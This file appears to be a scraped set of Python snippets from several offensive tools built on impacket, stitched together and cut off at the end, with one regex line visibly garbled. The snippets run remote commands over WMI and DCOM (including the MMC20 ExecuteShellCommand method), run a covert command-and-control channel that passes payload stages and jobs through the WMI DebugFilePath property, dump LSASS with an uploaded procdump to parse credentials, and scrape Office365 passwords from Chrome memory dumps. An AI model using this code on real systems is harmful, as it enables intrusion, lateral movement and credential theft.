def update(self, wmi_object_name='Win32_OSRecoveryConfiguration', wmi_property='DebugFilePath', namespace=None, update_value=None): #print 'Filename: ' + sys._getframe(0).f_code.co_filename + ' Method: ' + sys._getframe(0).f_code.co_name def check_error(banner, resp): if resp.GetCallStatus(0) != 0: print '%s - marshall ERROR (0x%x)' % (banner, resp.GetCallStatus(0)) else: #print '%s - marshall OK' % banner pass if not namespace: namespace = self.namespace if not update_value: print 'Set an update_value !' exit(0) try: dcom = DCOMConnection(self.host, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=False) iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login) iWbemLevel1Login = IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() wmiClass, callResult = iWbemServices.GetObject(wmi_object_name) wmiClass = wmiClass.SpawnInstance() ########### setting the exact same values from the current instance to the new instance values = self.get_values(self.query('Select Caption, Description, SettingID, AutoReboot, DebugFilePath, DebugInfoType, ExpandedDebugFilePath, ExpandedMiniDumpDirectory, KernelDumpOnly, MiniDumpDirectory, Name, OverwriteExistingDebugFile, SendAdminAlert, WriteDebugInfo, WriteToSystemLog From Win32_OSRecoveryConfiguration', namespace, printable=False)) for k in values: setattr(wmiClass, k, values[k]) ########### Seems like type differences for int and boolean values are not correctly handled in impacket.dcerpc.v5.dcom.wmi, so we have to do them manually # Here are Win32_OSRecoveryConfiguration attribute CIM types: #string: # Caption # Name # DebugFilePath # Description # ExpandedDebugFilePath # ExpandedMiniDumpDirectory # MiniDumpDirectory # SettingID # #boolean: # AutoReboot # KernelDumpOnly # OverwriteExistingDebugFile # SendAdminAlert # WriteDebugInfo # WriteToSystemLog # #uint32: # DebugInfoType wmiClass.SettingID = str(wmiClass.SettingID) wmiClass.Caption = str(wmiClass.Caption) wmiClass.Description = str(wmiClass.Description) wmiClass.AutoReboot = int(wmiClass.AutoReboot == 'True') wmiClass.OverwriteExistingDebugFile = int(wmiClass.OverwriteExistingDebugFile == 'True') wmiClass.WriteDebugInfo = int(wmiClass.WriteDebugInfo == 'True') wmiClass.WriteToSystemLog = int(wmiClass.WriteToSystemLog == 'True') ############ updating the target property value wmiClass.DebugFilePath = update_value ############ IMPORTANT : after update, ExpandedDebugFilePath has garbage byte values, so we reset it (will be replaced by Windows later, so no pb) wmiClass.ExpandedDebugFilePath = "" check_error('Writing to DebugFilePath', iWbemServices.PutInstance(wmiClass.marshalMe())) dcom.disconnect() except Exception as e: self.logger.error('Error creating WMI connection: {}'.format(e))
class WMIEXEC: def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, share='C$'): self.__target = target self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__share = share self.__smbconnection = smbconnection self.__output = None self.__outputBuffer = '' self.__share_name = share_name self.__shell = 'cmd.exe /Q /c ' self.__pwd = 'C:\\' self.__aesKey = aesKey self.__kdcHost = kdcHost self.__doKerberos = doKerberos self.__retOutput = True self.__remoteshell = None if hashes is not None: #This checks to see if we didn't provide the LM Hash if hashes.find(':') != -1: self.__lmhash, self.__nthash = hashes.split(':') else: self.__nthash = hashes if self.__password is None: self.__password = '' self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() self.__win32Process,_ = iWbemServices.GetObject('Win32_Process') self.__remoteshell = RemoteShell(self.__share, self.__win32Process, self.__smbconnection) except (Exception, KeyboardInterrupt) as e: logging.debug('Failed to init dcom') if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) if smbconnection is not None: smbconnection.logoff() self.__dcom.disconnect() sys.stdout.flush() def execute(self, command, output=False): self.__retOutput = output if self.__retOutput: self.__smbconnection.setTimeout(900) if os.path.isfile(command): with open(command) as commands: for c in commands: self.__outputBuffer = self.__remoteshell.exec_cmd(c.strip()) else: self.__outputBuffer = self.__remoteshell.exec_cmd(command) if self.__smbconnection is not None: self.__smbconnection.logoff() return self.__outputBuffer #def execute_orig(self, command, output=False): # self.__retOutput = output # if self.__retOutput: # self.__smbconnection.setTimeout(900) # if os.path.isfile(command): # with open(command) as commands: # for c in commands: # self.execute_handler(c.strip()) # else: # self.execute_handler(command) # self.__dcom.disconnect() # try: # if isinstance(self.__outputBuffer, str): # return self.__outputBuffer # return self.__outputBuffer.decode() # except UnicodeDecodeError: # logging.debug('Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings') # return self.__outputBuffer.decode('cp437') def cd(self, s): self.execute_remote('cd ' + s) if len(self.__outputBuffer.strip('\r\n')) > 0: print(self.__outputBuffer) self.__outputBuffer = b'' else: self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) self.execute_remote('cd ') self.__pwd = self.__outputBuffer.strip('\r\n') self.__outputBuffer = b'' def output_callback(self, data): self.__outputBuffer += data def execute_handler(self, data): if self.__retOutput: try: logging.debug('Executing remote') self.execute_remote(data) except: self.cd('\\') self.execute_remote(data) else: self.execute_remote(data) def execute_remote(self, data): self.__output = '\\Windows\\Temp\\' + gen_random_string(6) command = self.__shell + data if self.__retOutput: command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' logging.debug('Executing command: ' + command) self.__win32Process.Create(command, self.__pwd, None) self.get_output_remote() def execute_fileless(self, data): self.__output = gen_random_string(6) local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0] command = self.__shell + data + ' 1> \\\\{}\\{}\\{} 2>&1'.format(local_ip, self.__share_name, self.__output) logging.debug('Executing command: ' + command) self.__win32Process.Create(command, self.__pwd, None) self.get_output_fileless() def get_output_fileless(self): while True: try: with open(os.path.join('/tmp', 'cme_hosted', self.__output), 'r') as output: self.output_callback(output.read()) break except IOError: sleep(2) def get_output_remote(self): if self.__retOutput is False: self.__outputBuffer = '' return while True: try: self.__smbconnection.getFile(self.__share, self.__output, self.output_callback) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >=0: # Output not finished, let's wait sleep(2) pass else: #print str(e) pass self.__smbconnection.deleteFile(self.__share, self.__output) def run(self, addr, dummy): """ starts interactive shell """ self.shell = None logging.debug('inside wmishell.run') try: self.shell = RemoteShell(self.__share, self.__win32Process, self.__smbconnection) self.shell.cmdloop() except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) if self.__smbconnection is not None: self.__smbconnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1) try: if self.__smbconnection is not None: self.__smbconnection.logoff() dcom.disconnect() except (Exception, KeyboardInterrupt) as e: logging.debug('Error: {}'.format(e))
def run(self): logging.debug("Creating DCOM connection") lmhash = '' nthash = '' if self["Hash"]: if self["Hash"].find(":") > -1: lmhash, nthash = self["Hash"].split(":") else: nthash = self["Hash"] dcom = DCOMConnection( self["Host"], self["Username"], self["Password"], self["Domain"], lmhash, nthash, #self.aesKey, oxidResolver=False, #doKerberos=self.doKerberos ) logging.debug("Creating new iWbemServices instance") iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() while True: try: records = self.read(iWbemServices) #self.write(iWbemServices, records) DebugFilePathValue = list( filter(lambda r: r[0] == "DebugFilePath", records[0].items()))[0][1]["value"] if DebugFilePathValue != "%SystemRoot%\\MEMORY.DMP": GUID, op, creator, data = DebugFilePathValue.split(":") if creator == "client": if op == "kex": pub_key = self.dispatch_event( events.KEX, (GUID, self["Host"], b64decode(data))) self.write( iWbemServices, records, payload= f"{GUID}:kex:server:{b64encode(pub_key.encode()).decode()}" ) elif op == "stage": stage_file = self.dispatch_event( events.ENCRYPT_STAGE, (self["Comms"], GUID, self["Host"])) if stage_file: self.dispatch_event( events.SESSION_STAGED, f'Sending stage ({sys.getsizeof(stage_file)} bytes) -> {self["Host"]} ...' ) self.write( iWbemServices, records, payload= f"{GUID}:stage:server:{b64encode(stage_file)}" ) elif op == "jobs": job = self.dispatch_event(events.SESSION_CHECKIN, (GUID, self["Host"])) if job: self.write( iWbemServices, records, payload= f"{GUID}:jobs:server:{b64encode(job).decode()}" ) elif op.startswith("job_results"): _, job_id = op.split("|") print(data) self.dispatch_event( events.JOB_RESULT, (GUID, job_id, b64decode(data))) self.write(iWbemServices, records) except Exception as e: print("Error") print(e) sleep(int(self["CheckInterval"]))
class DCOMEXEC: def __init__(self, target, share_name, username, password, domain, smbconnection, hashes=None, share=None, killDefender=False, logger=None, output=False): self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = None self.__share = share self.__share_name = share_name self.__noOutput = output self.__kdcHost = None self.__aesKey = None self.__doKerberos = False self.__retOutput = True self.__dcomObject = 'MMC20' self.__smbconnection = smbconnection self.__target = target self.logger = logger self.dcom = None print('a{}'.format(self.__noOutput)) self.shell = None if hashes is not None: if hashes.find(':') != -1: self.__lmhash, self.__nthash = hashes.split(':') else: self.__nthash = hashes if self.__noOutput is False: smbConnection = self.__smbconnection if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None self.dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: dispParams = DISPPARAMS(None, False) dispParams['rgvarg'] = NULL dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 0 dispParams['cNamedArgs'] = 0 if self.__dcomObject == 'ShellWindows': # ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2) logging.debug('in execute: ShellWindows') iInterface = self.dcom.CoCreateInstanceEx( string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Item', )) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], []) iItem = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) resp = iItem.GetIDsOfNames(('Document', )) resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = None elif self.__dcomObject == 'ShellBrowserWindow': # ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2) logging.debug('in execute: ShellBrowserWindow') iInterface = self.dcom.CoCreateInstanceEx( string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document', )) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = iMMC.GetIDsOfNames(('Quit', ))[0] elif self.__dcomObject == 'MMC20': logging.debug('in execute: MMC20') iInterface = self.dcom.CoCreateInstanceEx( string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document', )) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = iMMC.GetIDsOfNames(('Quit', ))[0] else: logging.fatal('Invalid object %s' % self.__dcomObject) return iDocument = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) logging.debug('in execute: iDocument = IDispatch') if self.__dcomObject == 'MMC20': resp = iDocument.GetIDsOfNames(('ActiveView', )) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) logging.debug('in execute: MMC20 - 2') iActiveView = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames( ('ExecuteShellCommand', ))[0] self.shell = RemoteShellMMC20( self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection) else: resp = iDocument.GetIDsOfNames(('Application', )) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iActiveView = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames( ('ShellExecute', ))[0] self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection) except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() if self.shell is not None: self.shell.do_exit('') logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() self.dcom.disconnect() sys.stdout.flush() sys.exit(1) def getInterface(self, interface, resp): # Now let's parse the answer and build an Interface instance objRefType = OBJREF(b''.join(resp))['flags'] objRef = None if objRefType == FLAGS_OBJREF_CUSTOM: objRef = OBJREF_CUSTOM(b''.join(resp)) elif objRefType == FLAGS_OBJREF_HANDLER: objRef = OBJREF_HANDLER(b''.join(resp)) elif objRefType == FLAGS_OBJREF_STANDARD: objRef = OBJREF_STANDARD(b''.join(resp)) elif objRefType == FLAGS_OBJREF_EXTENDED: objRef = OBJREF_EXTENDED(b''.join(resp)) else: logging.error("Unknown OBJREF Type! 0x%x" % objRefType) return IRemUnknown2( INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'], oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'], target=interface.get_target())) def execute(self, command, output=False): self.__command = command if self.__command != ' ': logging.debug('Trying onecmd: {}'.format(self.__command)) #store OG stdout a, b, c = sys.stdout, sys.stdin, sys.stderr #switch stdout to our 'buffer' buff = open(cfg.TEST_PATH, "w") sys.stdout, sys.stdin, sys.stderr = buff, buff, buff self.shell.onecmd(self.__command) # switch back to normal sys.stdout, sys.stdin, sys.stderr = a, b, c buff.close() if self.shell is not None: self.shell.do_exit(' ') #logging.debug('after exit') else: logging.debug('before cmdloop') self.shell.cmdloop() if self.__smbconnection is not None: self.__smbconnection.logoff() if self.dcom is not None: try: logging.debug('be4 disconnect') #self.dcom.disconnect() #hangs forever? logging.debug('after disconnect') except: pass with open(cfg.TEST_PATH, 'r') as file: data = file.read() return data def run(self, addr, dummy): """ starts interactive shell """ logging.debug('inside dcomshell.run') try: self.shell.cmdloop() except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) if self.__smbconnection is not None: self.__smbconnection.logoff() self.dcom.disconnect() sys.stdout.flush() sys.exit(1) try: if self.__smbconnection is not None: self.__smbconnection.logoff() #self.dcom.disconnect() #hangs forever? except (Exception, KeyboardInterrupt) as e: logging.debug('Error: {}'.format(e))
class WMI: def __init__(self, connection, logger): self.conn = connection if not self.conn.kerberos: self.conn.hostname = list({ addr[-1][0] for addr in socket.getaddrinfo(self.conn.hostname, 0, 0, 0, 0) })[0] self.log = logger self.win32Process = None self.iWbemServices = None self.buffer = "" self.dcom = None self._getwin32process() def _buffer_callback(self, data): self.buffer += str(data) def _getwin32process(self): if self.conn.kerberos: self.log.debug("Trying to authenticate using kerberos ticket") else: self.log.debug("Trying to authenticate using : {}\\{}:{}".format( self.conn.domain_name, self.conn.username, self.conn.password)) try: self.dcom = DCOMConnection(self.conn.hostname, self.conn.username, self.conn.password, self.conn.domain_name, self.conn.lmhash, self.conn.nthash, self.conn.aesKey, oxidResolver=True, doKerberos=self.conn.kerberos, kdcHost=self.conn.dc_ip) iInterface = self.dcom.CoCreateInstanceEx( wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) self.iWbemServices = iWbemLevel1Login.NTLMLogin( '//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() self.win32Process, _ = self.iWbemServices.GetObject( 'Win32_Process') except KeyboardInterrupt as e: self.dcom.disconnect() raise KeyboardInterrupt(e) except Exception as e: raise Exception("WMIEXEC not supported on host %s : %s" % (self.conn.hostname, e)) def execute(self, commands): command = " & ".join(commands) try: self.win32Process.Create(command, "C:\\", None) self.iWbemServices.disconnect() self.dcom.disconnect() except KeyboardInterrupt as e: self.log.debug( "WMI Execution stopped because of keyboard interruption") self.iWbemServices.disconnect() self.dcom.disconnect() raise KeyboardInterrupt(e) except Exception as e: self.log.debug("Error : {}".format(e)) self.iWbemServices.disconnect() self.dcom.disconnect()
def run(self, addr, osArch='64'): dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process, _ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, self.__smbConnection) # Upload procdump procpath = os.path.join( os.path.dirname(os.path.realpath(sys.argv[0])), 'misc', 'procdump', 'procdump%s.exe' % (osArch)) logging.info("%s Uploading procdump to %s..." % (debugBlue, addr)) if logging.getLogger().getEffectiveLevel() > 10: with suppress_std(): self.shell.do_put(procpath) else: self.shell.do_put(procpath) dt = datetime.now().strftime("%m-%d-%Y_%H-%M-%S") # Execute procdump silently with pid to avoid AVs as much as possible cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do procdump{}.exe -accepteula -ma ^%B C:\\{}.dmp""".format( osArch, addr + "_" + dt) logging.info("%s Executing procdump on %s..." % (debugBlue, addr)) if logging.getLogger().getEffectiveLevel() > 10: with suppress_std(): self.shell.onecmd(cmd) else: self.shell.onecmd(cmd) # Create dump's file descriptor to parse dumps remotely logging.info("%s Creating dump's file descriptor on %s..." % (debugBlue, addr)) logging.info("%s Parsing %s's dump remotely..." % (debugBlue, addr)) dump = Dump(self.__smbConnection, """{}.dmp""".format(addr + "_" + dt)) credentials = parseDump(dump) if credentials is not None: print_credentials(addr, credentials) write_credentials(addr, credentials) finally: # Clean remote machines (dump & procdump) logging.info("%s Closing dump file on %s..." % (debugBlue, addr)) dump.close() logging.info("%s Deleting procdump on %s..." % (debugBlue, addr)) if logging.getLogger().getEffectiveLevel() > 10: with suppress_std(): self.shell.onecmd("del procdump%s.exe" % (osArch)) else: self.shell.onecmd("del procdump%s.exe" % (osArch)) logging.info("%s Deleting dump on %s..." % (debugBlue, addr)) if logging.getLogger().getEffectiveLevel() > 10: with suppress_std(): self.shell.onecmd("del %s.dmp" % (addr + "_" + dt)) else: self.shell.onecmd("del %s.dmp" % (addr + "_" + dt)) if self.__smbConnection is not None: self.__smbConnection.logoff() dcom.disconnect() sys.stdout.flush()
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process, _ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, smbConnection) ### This is ugly and super hacky but it works (maybe)### chromepid = [] self.shell.onecmd('tasklist /FI "IMAGENAME eq chrome.exe"') pid = input( "Enter the PID for all items to dump, comma seperated:\n") chromepid = pid.replace(' ', '').split(",") self.shell.do_put(PROC_PATH) for p in chromepid: self.shell.onecmd("procdump64.exe -ma -accepteula " + p + " chrome-" + p + ".dmp") self.shell.do_get("chrome-" + p + ".dmp") self.shell.onecmd("del chrome-" + p + ".dmp") print("[*] Cleaning Up!") self.shell.onecmd("del procdump64.exe") os.system('strings chrome-* > dump.txt') ### No apologies for what is about to pass as regex ### # Office365 / Outlook Format o365user = re.compile(r'(?<=username=)(.*?)(?=&)', re.IGNORECASE) o365pw = re.compile(r'(?<=passwd=)(.*?)(?=&)', re.IGNORECASE) # Generic password searches pw1 = re.compile(r'(?<="password":"******":")(.*?)(?=,|&)', re.IGNORECASE) pw5 = re.compile(r'(?<=passwd=)(.*?)(?=,)', re.IGNORECASE) pw6 = re.compile(r'(?<=passwd:)(.*?)(?=,|&)', re.IGNORECASE) pw7 = re.compile(r'(?<=passwordtext)(.*?)\S*', re.IGNORECASE) # Generic username searches email1 = re.compile(r'(?<="email":")(.*?)(?=,|&)', re.IGNORECASE) email2 = re.compile(r'(?<=email:)(.*?)(?=,|&)', re.IGNORECASE) email3 = re.compile(r'(?<=email=)(.*?)(?=,|&)', re.IGNORECASE) user1 = re.compile(r'(?<="username":"******"Searching the dumps for credentials. This may take a while.....\n" ) #Get reading those dumps with open('dump.txt', 'rt') as dump: for line in dump: # grab those o365 creds first if o365user.search(line) != None: o365creds.append(o365user.search(line).group()) elif o365pw.search(line) != None: o365creds.append(o365pw.search(line).group()) elif pw1.search(line) != None: genpw.append(pw1.search(line).group()) elif pw2.search(line) != None: genpw.append(pw2.search(line).group()) elif pw3.search(line) != None: genpw.append(pw3.search(line).group()) elif pw4.search(line) != None: genpw.append(pw4.search(line).group()) elif pw5.search(line) != None: genpw.append(pw5.search(line).group()) elif pw6.search(line) != None: genpw.append(pw6.search(line).group()) elif pw7.search(line) != None: genpw.append(pw7.search(line).group()) elif email1.search(line) != None: genuser.append(email1.search(line).group()) elif email2.search(line) != None: genuser.append(email2.search(line).group()) elif email3.search(line) != None: genuser.append(email3.search(line).group()) elif user1.search(line) != None: genuser.append(user1.search(line).group()) elif user2.search(line) != None: genuser.append(user2.search(line).group()) elif user3.search(line) != None: genuser.append(user3.search(line).group()) print("Search complete...making the results a bit more presentable\ (maybe - there are bound to be some false positives) \n") # Remove duplicates from the list o365creds = list(dict.fromkeys(o365creds)) genpw = list(dict.fromkeys(genpw)) genuser = list(dict.fromkeys(genuser)) print("=================\n\ Office365 Stuff \n\ =================\n") for i in o365creds: print("URL Decoded String: " + unquote(i)) print("=================\n\ General Passwords\n\ =================\n") for i in genpw: print("URL Decoded String: " + unquote(i)) print("=================\n\ General Usernames\n\ =================\n") for i in genuser: print("URL Decoded String: " + unquote(i)) if True: pass elif self.__command != ' ': self.shell.onecmd(self.__command) else: self.shell.cmdloop() except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1) if smbConnection is not None: smbConnection.logoff() dcom.disconnect()
class Wmiexec: OUTPUT_FILENAME = "__" + str(time.time()) def __init__(self, ip, username, hashes, password="", domain="", share="ADMIN$", secrets_dir=None): self.__ip = ip self.__username = username self.__password = password self.__domain = domain self.__lmhash, self.__nthash = hashes.split(":") self.__share = share self.__secrets_dir = secrets_dir self.shell = None def connect(self): self.smbConnection = SMBConnection(self.__ip, self.__ip) self.smbConnection.login( user=self.__username, password=self.__password, domain=self.__domain, lmhash=self.__lmhash, nthash=self.__nthash, ) self.dcom = DCOMConnection( target=self.__ip, username=self.__username, password=self.__password, domain=self.__domain, lmhash=self.__lmhash, nthash=self.__nthash, oxidResolver=True, ) try: iInterface = self.dcom.CoCreateInstanceEx( wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) self.iWbemServices = iWbemLevel1Login.NTLMLogin( "//./root/cimv2", NULL, NULL) iWbemLevel1Login.RemRelease() except (Exception, KeyboardInterrupt) as e: LOG.error(str(e)) self.smbConnection.logoff() self.dcom.disconnect() def get_remote_shell(self): self.connect() win32Process, _ = self.iWbemServices.GetObject("Win32_Process") self.shell = RemoteShell(self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME, self.__secrets_dir) return self.shell def close(self): self.smbConnection.close() self.smbConnection = None self.dcom.disconnect() self.dcom = None
def __init__(self, host, share_name, username, password, domain, smbconnection, hashes=None): self.__host = host self.__username = username self.__password = password self.__smbconnection = smbconnection self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__share_name = share_name self.__output = None self.__outputBuffer = '' self.__shell = 'c:\\windows\\system32\\cmd.exe' self.__pwd = 'C:\\' self.__quit = None self.__executeShellCommand = None self.__retOutput = True if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') dcom = DCOMConnection(self.__host, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, None, oxidResolver=True) try: iInterface = dcom.CoCreateInstanceEx( string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document', )) dispParams = DISPPARAMS(None, False) dispParams['rgvarg'] = NULL dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 0 dispParams['cNamedArgs'] = 0 resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iDocument = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) resp = iDocument.GetIDsOfNames(('ActiveView', )) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iActiveView = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames( ('ExecuteShellCommand', ))[0] pQuit = iMMC.GetIDsOfNames(('Quit', ))[0] self.__quit = (iMMC, pQuit) self.__executeShellCommand = (iActiveView, pExecuteShellCommand) except Exception as e: self.exit() logging.error(str(e)) dcom.disconnect()
class WmiCon(Connector): def __init__(self, args, loggers, ip, host): Connector.__init__(self, args, loggers, ip) self.display_ip = ip self.display_host = host self._debug = False self.dcom = None self.wmi_con = None self.process_list = {} def create_wmi_con(self, namespace='root\\cimv2'): self.dcom = DCOMConnection(self.host, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = self.dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) self.wmi_con = iWbemLevel1Login.NTLMLogin( '\\\\{}\\{}'.format(self.host, namespace), NULL, NULL) def get_netprocess(self, tasklist=False): self.create_wmi_con() wmi_enum_process = self.wmi_con.ExecQuery( 'SELECT * from Win32_Process', lFlags=WBEM_FLAG_FORWARD_ONLY) while True: try: wmi_process = wmi_enum_process.Next(0xffffffff, 1)[0] wmi_process_owner = wmi_process.GetOwner() attributes = { 'computername': self.host, 'processname': wmi_process.Name, 'processid': wmi_process.ProcessId, 'user': wmi_process_owner.User, 'domain': wmi_process_owner.Domain } # Dont wait until end to print if tasklist: self.logger.info([ self.display_host, self.display_ip, "TASKLIST", "PID: {:<6} Name: {:<20} User: {:<17} Host: {:<15} Domain: {}" .format(attributes['processid'], attributes['processname'], attributes['user'], attributes['computername'], attributes['domain']) ]) self.process_list[wmi_process.ProcessId] = attributes except Exception as e: if str(e).find('S_FALSE') < 0: self.logger.debug("Get-NetProcess: {}".format(str(e))) else: break self.disconnect() def get_netlocalgroups(self): self.create_wmi_con('root\\cimv2') query = 'Select Name from win32_group' wmi_query = self.wmi_con.ExecQuery(query, lFlags=WBEM_FLAG_FORWARD_ONLY) while True: try: wmi_results = wmi_query.Next(0xffffffff, 1)[0] wmi_results = wmi_results.getProperties() for key, value in wmi_results.items(): self.logger.info([ self.display_host, self.display_ip, "LOCAL GROUPS", value['value'] ]) except Exception as e: if str(e).find('S_FALSE') < 0: self.logger.debug([ self.display_host, self.display_ip, "LOCAL GROUPS", str(e) ]) else: break self.disconnect() def get_localgroup_members(self, domain, group): self.create_wmi_con('root\\cimv2') query = "SELECT PartComponent FROM Win32_GroupUser WHERE 